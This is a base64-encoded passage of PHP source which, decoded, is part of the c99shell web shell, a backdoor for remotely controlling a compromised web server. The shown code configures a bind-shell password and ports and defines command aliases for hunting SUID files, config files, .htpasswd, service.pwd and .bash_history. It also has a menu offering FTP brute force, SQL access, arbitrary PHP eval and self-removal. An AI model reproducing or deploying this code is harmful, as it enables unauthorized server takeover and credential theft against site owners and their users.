ICAgICAgImNnaSIsDQogICAgICAgICJwbCINCiAgICApICwNCiAgICAiaW1nIiA9PiBhcnJheSgN
CiAgICAgICAgImdpZiIsDQogICAgICAgICJwbmciLA0KICAgICAgICAianBlZyIsDQogICAgICAg
ICJqZmlmIiwNCiAgICAgICAgImpwZyIsDQogICAgICAgICJqcGUiLA0KICAgICAgICAiYm1wIiwN
CiAgICAgICAgImljbyIsDQogICAgICAgICJ0aWYiLA0KICAgICAgICAidGlmZiIsDQogICAgICAg
ICJhdmkiLA0KICAgICAgICAibXBnIiwNCiAgICAgICAgIm1wZWciDQogICAgKSAsDQogICAgInNk
YiIgPT4gYXJyYXkoDQogICAgICAgICJzZGIiDQogICAgKSAsDQogICAgInBocHNlc3MiID0+IGFy
cmF5KA0KICAgICAgICAic2VzcyINCiAgICApICwNCiAgICAiZG93bmxvYWQiID0+IGFycmF5KA0K
ICAgICAgICAiZXhlIiwNCiAgICAgICAgImNvbSIsDQogICAgICAgICJwaWYiLA0KICAgICAgICAi
c3JjIiwNCiAgICAgICAgImxuayIsDQogICAgICAgICJ6aXAiLA0KICAgICAgICAicmFyIiwNCiAg
ICAgICAgImd6IiwNCiAgICAgICAgInRhciINCiAgICApDQopOw0KJGV4ZWZ0eXBlcyA9IGFycmF5
KA0KICAgIGdldGVudigiUEhQUkMiKSAuICIgLXEgJWYlIiA9PiBhcnJheSgNCiAgICAgICAgInBo
cCIsDQogICAgICAgICJwaHAzIiwNCiAgICAgICAgInBocDQiDQogICAgKSAsDQogICAgInBlcmwg
JWYlIiA9PiBhcnJheSgNCiAgICAgICAgInBsIiwNCiAgICAgICAgImNnaSINCiAgICApDQopOw0K
JHJlZ3hwX2hpZ2hsaWdodCA9IGFycmF5KA0KICAgIGFycmF5KA0KICAgICAgICBiYXNlbmFtZSgk
X1NFUlZFUlsiUEhQX1NFTEYiXSkgLA0KICAgICAgICAxLA0KICAgICAgICAiPGZvbnQgY29sb3I9
XCJ5ZWxsb3dcIj4iLA0KICAgICAgICAiPC9mb250PiINCiAgICApICwNCiAgICBhcnJheSgNCiAg
ICAgICAgImNvbmZpZy5waHAiLA0KICAgICAgICAxDQogICAgKQ0KKTsNCiRzYWZlbW9kZV9kaXNr
ZXR0ZXMgPSBhcnJheSgNCiAgICAiYSINCik7DQokaGV4ZHVtcF9saW5lcyA9IDg7DQokaGV4ZHVt
cF9yb3dzID0gMjQ7DQokbml4cHdkcGVycGFnZSA9IDEwMDsNCiRiaW5kcG9ydF9wYXNzID0gImM5
OSI7DQokYmluZHBvcnRfcG9ydCA9ICIzMTM3MyI7DQokYmNfcG9ydCA9ICIzMTM3MyI7DQokZGF0
YXBpcGVfbG9jYWxwb3J0ID0gIjgwODEiOw0KaWYgKCEkd2luKQ0Kew0KICAgICRjbWRhbGlhc2Vz
ID0gYXJyYXkoDQogICAgICAgIGFycmF5KA0KICAgICAgICAgICAgIi0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIiwNCiAgICAgICAgICAg
ICJscyAtbGEiDQogICAgICAgICkgLA0KICAgICAgICBhcnJheSgNCiAgICAgICAgICAgICJmaW5k
IGFsbCBzdWlkIGZpbGVzIiwNCiAgICAgICAgICAgICJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDQw
MDAgLWxzIg0KICAgICAgICApICwNCiAgICAgICAgYXJyYXkoDQogICAgICAgICAgICAiZmluZCBz
dWlkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiwNCiAgICAgICAgICAgICJmaW5kIC4gLXR5cGUgZiAt
cGVybSAtMDQwMDAgLWxzIg0KICAgICAgICApICwNCiAgICAgICAgYXJyYXkoDQogICAgICAgICAg
ICAiZmluZCBhbGwgc2dpZCBmaWxlcyIsDQogICAgICAgICAgICAiZmluZCAvIC10eXBlIGYgLXBl
cm0gLTAyMDAwIC1scyINCiAgICAgICAgKSAsDQogICAgICAgIGFycmF5KA0KICAgICAgICAgICAg
ImZpbmQgc2dpZCBmaWxlcyBpbiBjdXJyZW50IGRpciIsDQogICAgICAgICAgICAiZmluZCAuIC10
eXBlIGYgLXBlcm0gLTAyMDAwIC1scyINCiAgICAgICAgKSAsDQogICAgICAgIGFycmF5KA0KICAg
ICAgICAgICAgImZpbmQgY29uZmlnLmluYy5waHAgZmlsZXMiLA0KICAgICAgICAgICAgImZpbmQg
LyAtdHlwZSBmIC1uYW1lIGNvbmZpZy5pbmMucGhwIg0KICAgICAgICApICwNCiAgICAgICAgYXJy
YXkoDQogICAgICAgICAgICAiZmluZCBjb25maWcqIGZpbGVzIiwNCiAgICAgICAgICAgICJmaW5k
IC8gLXR5cGUgZiAtbmFtZSBcImNvbmZpZypcIiINCiAgICAgICAgKSAsDQogICAgICAgIGFycmF5
KA0KICAgICAgICAgICAgImZpbmQgY29uZmlnKiBmaWxlcyBpbiBjdXJyZW50IGRpciIsDQogICAg
ICAgICAgICAiZmluZCAuIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCIiDQogICAgICAgICkgLA0K
ICAgICAgICBhcnJheSgNCiAgICAgICAgICAgICJmaW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIGFu
ZCBmaWxlcyIsDQogICAgICAgICAgICAiZmluZCAvIC1wZXJtIC0yIC1scyINCiAgICAgICAgKSAs
DQogICAgICAgIGFycmF5KA0KICAgICAgICAgICAgImZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMg
YW5kIGZpbGVzIGluIGN1cnJlbnQgZGlyIiwNCiAgICAgICAgICAgICJmaW5kIC4gLXBlcm0gLTIg
LWxzIg0KICAgICAgICApICwNCiAgICAgICAgYXJyYXkoDQogICAgICAgICAgICAiZmluZCBhbGwg
c2VydmljZS5wd2QgZmlsZXMiLA0KICAgICAgICAgICAgImZpbmQgLyAtdHlwZSBmIC1uYW1lIHNl
cnZpY2UucHdkIg0KICAgICAgICApICwNCiAgICAgICAgYXJyYXkoDQogICAgICAgICAgICAiZmlu
ZCBzZXJ2aWNlLnB3ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIsDQogICAgICAgICAgICAiZmluZCAu
IC10eXBlIGYgLW5hbWUgc2VydmljZS5wd2QiDQogICAgICAgICkgLA0KICAgICAgICBhcnJheSgN
CiAgICAgICAgICAgICJmaW5kIGFsbCAuaHRwYXNzd2QgZmlsZXMiLA0KICAgICAgICAgICAgImZp
bmQgLyAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCINCiAgICAgICAgKSAsDQogICAgICAgIGFycmF5
KA0KICAgICAgICAgICAgImZpbmQgLmh0cGFzc3dkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiwNCiAg
ICAgICAgICAgICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiDQogICAgICAgICkgLA0K
ICAgICAgICBhcnJheSgNCiAgICAgICAgICAgICJmaW5kIGFsbCAuYmFzaF9oaXN0b3J5IGZpbGVz
IiwNCiAgICAgICAgICAgICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5Ig0KICAg
ICAgICApICwNCiAgICAgICAgYXJyYXkoDQogICAgICAgICAgICAiZmluZCAuYmFzaF9oaXN0b3J5
IGZpbGVzIGluIGN1cnJlbnQgZGlyIiwNCiAgICAgICAgICAgICJmaW5kIC4gLXR5cGUgZiAtbmFt
ZSAuYmFzaF9oaXN0b3J5Ig0KICAgICAgICApICwNCiAgICAgICAgYXJyYXkoDQogICAgICAgICAg
ICAiZmluZCBhbGwgLmZldGNobWFpbHJjIGZpbGVzIiwNCiAgICAgICAgICAgICJmaW5kIC8gLXR5
cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMiDQogICAgICAgICkgLA0KICAgICAgICBhcnJheSgNCiAg
ICAgICAgICAgICJmaW5kIC5mZXRjaG1haWxyYyBmaWxlcyBpbiBjdXJyZW50IGRpciIsDQogICAg
ICAgICAgICAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjIg0KICAgICAgICApICwN
CiAgICAgICAgYXJyYXkoDQogICAgICAgICAgICAibGlzdCBmaWxlIGF0dHJpYnV0ZXMgb24gYSBM
aW51eCBzZWNvbmQgZXh0ZW5kZWQgZmlsZSBzeXN0ZW0iLA0KICAgICAgICAgICAgImxzYXR0ciAt
dmEiDQogICAgICAgICkgLA0KICAgICAgICBhcnJheSgNCiAgICAgICAgICAgICJzaG93IG9wZW5l
ZCBwb3J0cyIsDQogICAgICAgICAgICAibmV0c3RhdCAtYW4gfCBncmVwIC1pIGxpc3RlbiINCiAg
ICAgICAgKQ0KICAgICk7DQp9DQplbHNlDQp7DQogICAgJGNtZGFsaWFzZXMgPSBhcnJheSgNCiAg
ICAgICAgYXJyYXkoDQogICAgICAgICAgICAiLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iLA0KICAgICAgICAgICAgImRpciINCiAgICAg
ICAgKSAsDQogICAgICAgIGFycmF5KA0KICAgICAgICAgICAgInNob3cgb3BlbmVkIHBvcnRzIiwN
CiAgICAgICAgICAgICJuZXRzdGF0IC1hbiINCiAgICAgICAgKQ0KICAgICk7DQp9DQokc2Vzc19j
b29raWUgPSAiYzk5c2h2YXJzIjsNCiR1c2Vmc2J1ZmYgPSB0cnVlOw0KJGNvcHlfdW5zZXQgPSBm
YWxzZTsNCiRxdWlja2xhdW5jaCA9IGFycmF5KA0KICAgIGFycmF5KA0KICAgICAgICAiPGltZyBz
cmM9XCIiIC4gJHN1cmwgLiAiYWN0PWltZyZpbWc9aG9tZVwiIGFsdD1cIkhvbWVcIiBoZWlnaHQ9
XCIyMFwiIHdpZHRoPVwiMjBcIiBib3JkZXI9XCIwXCI+IiwNCiAgICAgICAgJHN1cmwNCiAgICAp
ICwNCiAgICBhcnJheSgNCiAgICAgICAgIjxpbWcgc3JjPVwiIiAuICRzdXJsIC4gImFjdD1pbWcm
aW1nPWJhY2tcIiBhbHQ9XCJCYWNrXCIgaGVpZ2h0PVwiMjBcIiB3aWR0aD1cIjIwXCIgYm9yZGVy
PVwiMFwiPiIsDQogICAgICAgICIjXCIgb25jbGljaz1cImhpc3RvcnkuYmFjaygxKSINCiAgICAp
ICwNCiAgICBhcnJheSgNCiAgICAgICAgIjxpbWcgc3JjPVwiIiAuICRzdXJsIC4gImFjdD1pbWcm
aW1nPWZvcndhcmRcIiBhbHQ9XCJGb3J3YXJkXCIgaGVpZ2h0PVwiMjBcIiB3aWR0aD1cIjIwXCIg
Ym9yZGVyPVwiMFwiPiIsDQogICAgICAgICIjXCIgb25jbGljaz1cImhpc3RvcnkuZ28oMSkiDQog
ICAgKSAsDQogICAgYXJyYXkoDQogICAgICAgICI8aW1nIHNyYz1cIiIgLiAkc3VybCAuICJhY3Q9
aW1nJmltZz11cFwiIGFsdD1cIlVQRElSXCIgaGVpZ2h0PVwiMjBcIiB3aWR0aD1cIjIwXCIgYm9y
ZGVyPVwiMFwiPiIsDQogICAgICAgICRzdXJsIC4gImFjdD1scyZkPSV1cGQmc29ydD0lc29ydCIN
CiAgICApICwNCiAgICBhcnJheSgNCiAgICAgICAgIjxpbWcgc3JjPVwiIiAuICRzdXJsIC4gImFj
dD1pbWcmaW1nPXJlZnJlc2hcIiBhbHQ9XCJSZWZyZXNoXCIgaGVpZ2h0PVwiMjBcIiB3aWR0aD1c
IjE3XCIgYm9yZGVyPVwiMFwiPiIsDQogICAgICAgICIiDQogICAgKSAsDQogICAgYXJyYXkoDQog
ICAgICAgICI8aW1nIHNyYz1cIiIgLiAkc3VybCAuICJhY3Q9aW1nJmltZz1zZWFyY2hcIiBhbHQ9
XCJTZWFyY2hcIiBoZWlnaHQ9XCIyMFwiIHdpZHRoPVwiMjBcIiBib3JkZXI9XCIwXCI+IiwNCiAg
ICAgICAgJHN1cmwgLiAiYWN0PXNlYXJjaCZkPSVkIg0KICAgICkgLA0KICAgIGFycmF5KA0KICAg
ICAgICAiPGltZyBzcmM9XCIiIC4gJHN1cmwgLiAiYWN0PWltZyZpbWc9YnVmZmVyXCIgYWx0PVwi
QnVmZmVyXCIgaGVpZ2h0PVwiMjBcIiB3aWR0aD1cIjIwXCIgYm9yZGVyPVwiMFwiPiIsDQogICAg
ICAgICRzdXJsIC4gImFjdD1mc2J1ZmYmZD0lZCINCiAgICApICwNCiAgICBhcnJheSgNCiAgICAg
ICAgIjxiPkVuY29kZXI8L2I+IiwNCiAgICAgICAgJHN1cmwgLiAiYWN0PWVuY29kZXImZD0lZCIN
CiAgICApICwNCiAgICBhcnJheSgNCiAgICAgICAgIjxiPlRvb2xzPC9iPiIsDQogICAgICAgICRz
dXJsIC4gImFjdD10b29scyZkPSVkIg0KICAgICkgLA0KICAgIGFycmF5KA0KICAgICAgICAiPGI+
UHJvYy48L2I+IiwNCiAgICAgICAgJHN1cmwgLiAiYWN0PXByb2Nlc3NlcyZkPSVkIg0KICAgICkg
LA0KICAgIGFycmF5KA0KICAgICAgICAiPGI+RlRQIGJydXRlPC9iPiIsDQogICAgICAgICRzdXJs
IC4gImFjdD1mdHBxdWlja2JydXRlJmQ9JWQiDQogICAgKSAsDQogICAgYXJyYXkoDQogICAgICAg
ICI8Yj5TZWMuPC9iPiIsDQogICAgICAgICRzdXJsIC4gImFjdD1zZWN1cml0eSZkPSVkIg0KICAg
ICkgLA0KICAgIGFycmF5KA0KICAgICAgICAiPGI+U1FMPC9iPiIsDQogICAgICAgICRzdXJsIC4g
ImFjdD1zcWwmZD0lZCINCiAgICApICwNCiAgICBhcnJheSgNCiAgICAgICAgIjxiPlBIUC1jb2Rl
PC9iPiIsDQogICAgICAgICRzdXJsIC4gImFjdD1ldmFsJmQ9JWQiDQogICAgKSAsDQogICAgYXJy
YXkoDQogICAgICAgICI8Yj5VcGRhdGU8L2I+IiwNCiAgICAgICAgJHN1cmwgLiAiYWN0PXVwZGF0
ZSZkPSVkIg0KICAgICkgLA0KICAgIGFycmF5KA0KICAgICAgICAiPGI+RmVlZGJhY2s8L2I+IiwN
CiAgICAgICAgJHN1cmwgLiAiYWN0PWZlZWRiYWNrJmQ9JWQiDQogICAgKSAsDQogICAgYXJyYXko
DQogICAgICAgICI8Yj5TZWxmIHJlbW92ZTwvYj4iLA0KICAgICAgICAkc3VybCAuICJhY3Q9c2Vs
ZnJlbW92ZSINCiAgICApICwNCiAgICBhcnJheSgNCiAgICAgICAgIjxiPkxvZ291dDwvYj4iLA0K
ICAgICAgICAiI1wiIG9uY2xpY2s9XCJpZiAoY29uZmlybSgnQXJlIHlvdSBzdXJlPycpKSB3aW5k
b3cuY2xvc2UoKSINCiAgICApDQopOw0KJGhpZ2hsaWdodF9iYWNrZ3JvdW5kID0gIiNjMGMwYzAi
Ow0KJGhpZ2hsaWdodF9iZyA9ICIjRkZGRkZGIjsNCiRoaWdobGlnaHRfY29tbWVudCA9ICIjNkE2
QTZBIjsNCiRoaWdobGlnaHRfZGVmYXVsdCA9ICIjMDAwMEJCIjsNCiRoaWdobGlnaHRfaHRtbCA9
ICIjMTMwMEZGIjsNCiRoaWdobGlnaHRfa2V5d29yZCA9ICIjMDA3NzAwIjsNCiRoaWdobGlnaHRf
c3RyaW5nID0gIiMwMDAwMDAiOw0KQCRmID0gJF9SRVFVRVNUWyJmIl07DQpAZXh0cmFjdCgkX1JF
UVVFU1RbImM5OXNoY29vayJdKTsNCkBzZXRfdGltZV9saW1pdCgwKTsNCiR0bXAgPSBhcnJheSgp
Ow0KZm9yZWFjaCAoJGhvc3RfYWxsb3cgYXMgJGsgPT4gJHYpDQp7DQogICAgJHRtcFtdID0gc3Ry
X3JlcGxhY2UoIlxcKiIsICIuKiIsIHByZWdfcXVvdGUoJHYpKTsNCn0NCiRzID0gIiFeKCIgLiBp
bXBsb2RlKCJ8IiwgJHRtcCkgLiAiKSQhaSI7DQppZiAoIXByZWdfbWF0Y2goJHMsIGdldGVudigi
UkVNT1RFX0FERFIiKSkgYW5kICFwcmVnX21hdGNoKCRzLCBnZXRob3N0YnlhZGRyKGdldGVudigi
UkVNT1RFX0FERFIiKSkpKQ0Kew0KICAgIGV4aXQoIjxhIGhyZWY9XCJodHRwczovL2dpdGh1Yi5j
b20vS2FpemVuTG91aWUvQzk5U2hlbGwtUEhQN1wiPmM5OXNoZWxsPC9hPjogQWNjZXNzIERlbmll
ZCAtIHlvdXIgaG9zdCAoIiAuIGdldGVudigiUkVNT1RFX0FERFIiKSAuICIpIG5vdCBhbGxvdyIp
Ow0KfQ0KaWYgKCFlbXB0eSgkbG9naW4pKQ0Kew0KICAgIGlmIChlbXB0eSgkbWQ1X3Bhc3MpKQ0K
ICAgIHsNCiAgICAgICAgJG1kNV9wYXNzID0gbWQ1KCRwYXNzKTsNCiAgICB9DQogICAgaWYgKCgk
X1NFUlZFUlsiUEhQX0FVVEhfVVNFUiJdICE9ICRsb2dpbikgb3IgKG1kNSgkX1NFUlZFUlsiUEhQ
X0FVVEhfUFciXSkgIT0gJG1kNV9wYXNzKSkNCiAgICB7DQogICAgICAgIGlmIChlbXB0eSgkbG9n
aW5fdHh0KSkNCiAgICAgICAgew0KICAgICAgICAgICAgJGxvZ2luX3R4dCA9IHN0cmlwX3RhZ3Mo
cHJlZ19yZXBsYWNlKCImbmJzcDt8PGJyPiIsICIgIiwgJGRvbmF0ZWRfaHRtbCkpOw0KICAgICAg
ICB9DQogICAgICAgIGhlYWRlcigiV1dXLUF1dGhlbnRpY2F0ZTogQmFzaWMgcmVhbG09XCJjOTlz
aGVsbCAiIC4gJHNodmVyIC4gIjogIiAuICRsb2dpbl90eHQgLiAiXCIiKTsNCiAgICAgICAgaGVh
ZGVyKCJIVFRQLzEuMCA0MDEgVW5hdXRob3JpemVkIik7DQogICAgICAgIGV4aXQoJGFjY2Vzc2Rl
bmllZG1lc3MpOw0KICAgIH0NCn0NCmlmICgkYWN0ICE9ICJpbWciKQ0Kew0KICAgICRsYXN0ZGly
ID0gcmVhbHBhdGgoIi4iKTsNCiAgICBjaGRpcigkY3VyZGlyKTsNCiAgICBpZiAoJHNlbGZ3cml0
ZSBvciAkdXBkYXRlbm93KQ0KICAgIHsNCiAgICAgICAgQG9iX2NsZWFuKCk7DQogICAgICAgIGM5
OXNoX2dldHVwZGF0ZSgkc2VsZndyaXRlLCAxKTsNCiAgICAgICAgZXhpdDsNCiAgICB9DQogICAg
JHNlc3NfZGF0YSA9IHVuc2VyaWFsaXplKCRfQ09PS0lFWyIkc2Vzc19jb29raWUiXSk7DQogICAg
aWYgKCFpc19hcnJheSgkc2Vzc19kYXRhKSkNCiAgICB7DQogICAgICAgICRzZXNzX2RhdGEgPSBh
cnJheSgpOw0KICAgIH0NCiAgICBpZiAoIWlzX2FycmF5KCRzZXNzX2RhdGFbImNvcHkiXSkpDQog
ICAgew0KICAgICAgICAkc2Vzc19kYXRhWyJjb3B5Il0gPSBhcnJheSgpOw0KICAgIH0NCiAgICBp
ZiAoIWlzX2FycmF5KCRzZXNzX2RhdGFbImN1dCJdKSkNCiAgICB7DQogICAgICAgICRzZXNzX2Rh
dGFbImN1dCJdID0gYXJyYXkoKTsNCiAgICB9DQogICAgJGRpc2FibGVmdW5jID0gQGluaV9nZXQo
ImRpc2FibGVfZnVuY3Rpb25zIik7DQogICAgaWYgKCFlbXB0eSgkZGlzYWJsZWZ1bmMpKQ0KICAg
IHsNCiAgICAgICAgJGRpc2FibGVmdW5jID0gc3RyX3JlcGxhY2UoIiAiLCAiIiwgJGRpc2FibGVm
dW5jKTsNCiAgICAgICAgJGRpc2FibGVmdW5jID0gZXhwbG9kZSgiLCIsICRkaXNhYmxlZnVuYyk7
DQogICAgfQ0KICAgIGlmICghZnVuY3Rpb25fZXhpc3RzKCJjOTlfYnVmZl9wcmVwYXJlIikpDQog
ICAgew0KICAgICAgICBmdW5jdGlvbiBjOTlfYnVmZl9wcmVwYXJlKCkNCiAgICAgICAgew0KICAg
ICAgICAgICAgZ2xvYmFsICRzZXNzX2RhdGE7DQogICAgICAgICAgICBnbG9iYWwgJGFjdDsNCiAg
ICAgICAgICAgIGZvcmVhY2ggKCRzZXNzX2RhdGFbImNvcHkiXSBhcyAkayA9PiAkdikNCiAgICAg
ICAgICAgIHsNCiAgICAgICAgICAgICAgICAkc2Vzc19kYXRhWyJjb3B5Il1bJGtdID0gc3RyX3Jl
cGxhY2UoIlxcIiwgRElSRUNUT1JZX1NFUEFSQVRPUiwgcmVhbHBhdGgoJHYpKTsNCiAgICAgICAg
ICAgIH0NCiAgICAgICAgICAgIGZvcmVhY2ggKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrID0+ICR2
KQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICRzZXNzX2RhdGFbImN1dCJdWyRrXSA9
IHN0cl9yZXBsYWNlKCJcXCIsIERJUkVDVE9SWV9TRVBBUkFUT1IsIHJlYWxwYXRoKCR2KSk7DQog
ICAgICAgICAgICB9DQogICAgICAgICAgICAkc2Vzc19kYXRhWyJjb3B5Il0gPSBhcnJheV91bmlx
dWUoJHNlc3NfZGF0YVsiY29weSJdKTsNCiAgICAgICAgICAgICRzZXNzX2RhdGFbImN1dCJdID0g
YXJyYXlfdW5pcXVlKCRzZXNzX2RhdGFbImN1dCJdKTsNCiAgICAgICAgICAgIHNvcnQoJHNlc3Nf
ZGF0YVsiY29weSJdKTsNCiAgICAgICAgICAgIHNvcnQoJHNlc3NfZGF0YVsiY3V0Il0pOw0KICAg
ICAgICAgICAgaWYgKCRhY3QgIT0gImNvcHkiKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAg
ICAgIGZvcmVhY2ggKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrID0+ICR2KQ0KICAgICAgICAgICAg
ICAgIHsNCiAgICAgICAgICAgICAgICAgICAgaWYgKCRzZXNzX2RhdGFbImNvcHkiXVska10gPT0g
JHYpDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIHVuc2V0
KCRzZXNzX2RhdGFbImNvcHkiXVska10pOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAg
ICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAg
ew0KICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRzZXNzX2RhdGFbImNvcHkiXSBhcyAkayA9PiAk
dikNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgIGlmICgkc2Vzc19kYXRh
WyJjdXQiXVska10gPT0gJHYpDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAg
ICAgICAgICAgIHVuc2V0KCRzZXNzX2RhdGFbImN1dCJdWyRrXSk7DQogICAgICAgICAgICAgICAg
ICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9
DQogICAgYzk5X2J1ZmZfcHJlcGFyZSgpOw0KICAgIGlmICghZnVuY3Rpb25fZXhpc3RzKCJjOTlf
c2Vzc19wdXQiKSkNCiAgICB7DQogICAgICAgIGZ1bmN0aW9uIGM5OV9zZXNzX3B1dCgkZGF0YSkN
CiAgICAgICAgew0KICAgICAgICAgICAgZ2xvYmFsICRzZXNzX2Nvb2tpZTsNCiAgICAgICAgICAg
IGdsb2JhbCAkc2Vzc19kYXRhOw0KICAgICAgICAgICAgYzk5X2J1ZmZfcHJlcGFyZSgpOw0KICAg
ICAgICAgICAgJHNlc3NfZGF0YSA9ICRkYXRhOw0KICAgICAgICAgICAgJGRhdGEgPSBzZXJpYWxp
emUoJGRhdGEpOw0KICAgICAgICAgICAgc2V0Y29va2llKCRzZXNzX2Nvb2tpZSwgJGRhdGEpOw0K
ICAgICAgICB9DQogICAgfQ0KICAgIGZvcmVhY2ggKGFycmF5KA0KICAgICAgICAic29ydCIsDQog
ICAgICAgICJzcWxfc29ydCINCiAgICApIGFzICR2KQ0KICAgIHsNCiAgICAgICAgaWYgKCFlbXB0
eSgkX0dFVFskdl0pKQ0KICAgICAgICB7DQogICAgICAgICAgICAkJHYgPSAkX0dFVFskdl07DQog
ICAgICAgIH0NCiAgICAgICAgaWYgKCFlbXB0eSgkX1BPU1RbJHZdKSkNCiAgICAgICAgew0KICAg
ICAgICAgICAgJCR2ID0gJF9QT1NUWyR2XTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoJHNv
cnRfc2F2ZSkNCiAgICB7DQogICAgICAgIGlmICghZW1wdHkoJHNvcnQpKQ0KICAgICAgICB7DQog
ICAgICAgICAgICBzZXRjb29raWUoInNvcnQiLCAkc29ydCk7DQogICAgICAgIH0NCiAgICAgICAg
aWYgKCFlbXB0eSgkc3FsX3NvcnQpKQ0KICAgICAgICB7DQogICAgICAgICAgICBzZXRjb29raWUo
InNxbF9zb3J0IiwgJHNxbF9zb3J0KTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoIWZ1bmN0
aW9uX2V4aXN0cygic3RyMm1pbmkiKSkNCiAgICB7DQogICAgICAgIGZ1bmN0aW9uIHN0cjJtaW5p
KCRjb250ZW50LCAkbGVuKQ0KICAgICAgICB7DQogICAgICAgICAgICBpZiAoc3RybGVuKCRjb250
ZW50KSA+ICRsZW4pDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJGxlbiA9IGNlaWwo
JGxlbiAvIDIpIC0gMjsNCiAgICAgICAgICAgICAgICByZXR1cm4gc3Vic3RyKCRjb250ZW50LCAw
LCAkbGVuKSAuICIuLi4iIC4gc3Vic3RyKCRjb250ZW50LCAtJGxlbik7DQogICAgICAgICAgICB9
DQogICAgICAgICAgICBlbHNlDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgcmV0dXJu
ICRjb250ZW50Ow0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KICAgIGlmICghZnVu
Y3Rpb25fZXhpc3RzKCJ2aWV3X3NpemUiKSkNCiAgICB7DQogICAgICAgIGZ1bmN0aW9uIHZpZXdf
c2l6ZSgkc2l6ZSkNCiAgICAgICAgew0KICAgICAgICAgICAgaWYgKCFpc19udW1lcmljKCRzaXpl
KSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAg
ICAgICB9DQogICAgICAgICAgICBlbHNlDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAg
aWYgKCRzaXplID49IDEwNzM3NDE4MjQpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAg
ICAgICAgICAkc2l6ZSA9IHJvdW5kKCRzaXplIC8gMTA3Mzc0MTgyNCAqIDEwMCkgLyAxMDAgLiAi
IEdCIjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgZWxzZWlmICgkc2l6ZSA+
PSAxMDQ4NTc2KQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJHNpemUg
PSByb3VuZCgkc2l6ZSAvIDEwNDg1NzYgKiAxMDApIC8gMTAwIC4gIiBNQiI7DQogICAgICAgICAg
ICAgICAgfQ0KICAgICAgICAgICAgICAgIGVsc2VpZiAoJHNpemUgPj0gMTAyNCkNCiAgICAgICAg
ICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICRzaXplID0gcm91bmQoJHNpemUgLyAxMDI0
ICogMTAwKSAvIDEwMCAuICIgS0IiOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAg
ICBlbHNlDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAkc2l6ZSA9ICRz
aXplIC4gIiBCIjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgcmV0dXJuICRz
aXplOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KICAgIGlmICghZnVuY3Rpb25f
ZXhpc3RzKCJmc19jb3B5X2RpciIpKQ0KICAgIHsNCiAgICAgICAgZnVuY3Rpb24gZnNfY29weV9k
aXIoJGQsICR0KQ0KICAgICAgICB7DQogICAgICAgICAgICAkZCA9IHN0cl9yZXBsYWNlKCJcXCIs
IERJUkVDVE9SWV9TRVBBUkFUT1IsICRkKTsNCiAgICAgICAgICAgIGlmIChzdWJzdHIoJGQsIC0x
KSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAg
ICRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAk
aCA9IG9wZW5kaXIoJGQpOw0KICAgICAgICAgICAgd2hpbGUgKCgkbyA9IHJlYWRkaXIoJGgpKSAh
PT0gZmFsc2UpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgaWYgKCgkbyAhPSAiLiIp
IGFuZCAoJG8gIT0gIi4uIikpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAg
ICBpZiAoIWlzX2RpcigkZCAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkbykpDQogICAgICAgICAg
ICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRyZXQgPSBjb3B5KCRkIC4gRElS
RUNUT1JZX1NFUEFSQVRPUiAuICRvLCAkdCAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkbyk7DQog
ICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAg
